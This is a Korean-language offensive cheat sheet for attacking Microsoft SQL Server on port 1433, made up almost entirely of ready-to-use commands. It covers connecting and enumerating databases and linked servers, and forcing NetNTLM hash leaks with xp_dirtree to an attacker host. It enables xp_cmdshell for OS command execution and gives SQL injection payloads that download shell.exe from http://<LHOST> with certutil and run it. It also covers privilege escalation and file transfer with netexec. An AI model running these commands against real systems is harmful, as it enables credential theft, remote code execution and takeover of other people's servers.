Skip to main content

MSSQL - 1433

기본 정보​

포트: 1433

Microsoft SQL Server는 Microsoft의 관계형 데이터베이스 관리 시스템입니다.

연결​

# sqlcmd
sqlcmd -S <RHOST> -U <USERNAME> -P '<PASSWORD>'

# impacket-mssqlclient
impacket-mssqlclient <USERNAME>:<PASSWORD>@<RHOST> -windows-auth

기본 명령어​

-- 버전 확인
SELECT @@version;

-- 데이터베이스 목록
SELECT name FROM sys.databases;
SELECT name FROM master.sys.databases;

-- 테이블 목록
SELECT * FROM <DATABASE>.information_schema.tables;

-- 테이블 내용 조회
SELECT * FROM <DATABASE>.dbo.users;

데이터베이스 내용 표시​

1> SELECT name FROM master.sys.databases
2> go

OPENQUERY​

-- 데이터베이스 조회
1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go

-- 객체 조회
1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go

바이너리 추출 (Base64)​

1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txt

NetNTLM Hash 탈취 / Relay 공격​

SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'

Linked SQL Server 열거​

-- 현재 사용자
SQL> SELECT user_name();

-- Sysadmin 확인
SQL> SELECT name,sysadmin FROM syslogins;

-- 서버 목록
SQL> SELECT srvname,isremote FROM sysservers;

-- Linked Server에서 명령 실행
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];

xp_cmdshell​

xp_cmdshell 활성화 및 사용​

-- 방법 1
SQL> EXECUTE AS LOGIN = 'sa';
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
SQL> EXEC xp_cmdshell 'dir';

-- 방법 2
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure;
SQL> xp_cmdshell "whoami";

-- 방법 3 (impacket-mssqlclient)
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

SQL Injection을 통한 xp_cmdshell​

-- Ping
';EXEC master.dbo.xp_cmdshell 'ping <LHOST>';--

-- 파일 다운로드
';EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://<LHOST>/shell.exe C:\\Windows\temp\<FILE>.exe';--

-- 실행
';EXEC master.dbo.xp_cmdshell 'cmd /c C:\\Windows\\temp\\<FILE>.exe';--

OPENROWSET로 파일 읽기/쓰기​

-- 파일 읽기
SELECT * FROM OPENROWSET(BULK 'C:\PATH\TO\FILE\<FILE>', SINGLE_CLOB) AS x;

NetExec​

RID 브루트포스​

netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --rid-brute

권한 상승​

# 권한 확인
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M mssql_priv

# 권한 상승
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M mssql_priv -o ACTION=privesc

# 롤백
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M mssql_priv -o ACTION=rollback

명령 실행​

# OS 명령 실행
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth -x whoami

# SQL 쿼리 실행
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'

파일 처리​

# 파일 다운로드
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --get-file \\PATH\\TO\FOLDER\\<FILE> /PATH/TO/FOLDER/<FILE>

# 파일 업로드
netexec mssql <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --put-file /PATH/TO/FILE/<FILE> \\PATH\\TO\FOLDER\\<FILE>

Nmap​

# MSSQL 버전 확인
sudo nmap -p1433 -sV <RHOST>

# MSSQL 정보 수집
sudo nmap -p1433 --script ms-sql-info <RHOST>

# MSSQL 빈 비밀번호 확인
sudo nmap -p1433 --script ms-sql-empty-password <RHOST>

# MSSQL xp_cmdshell 확인
sudo nmap -p1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<USERNAME>,mssql.password=<PASSWORD> <RHOST>

참고​

  • xp_cmdshell 활성화 가능 여부 확인
  • Linked Server를 통한 명령 실행 체인
  • NetNTLM Relay 공격 가능
  • SQL Injection 시 xp_cmdshell로 RCE
  • sysadmin 권한 확인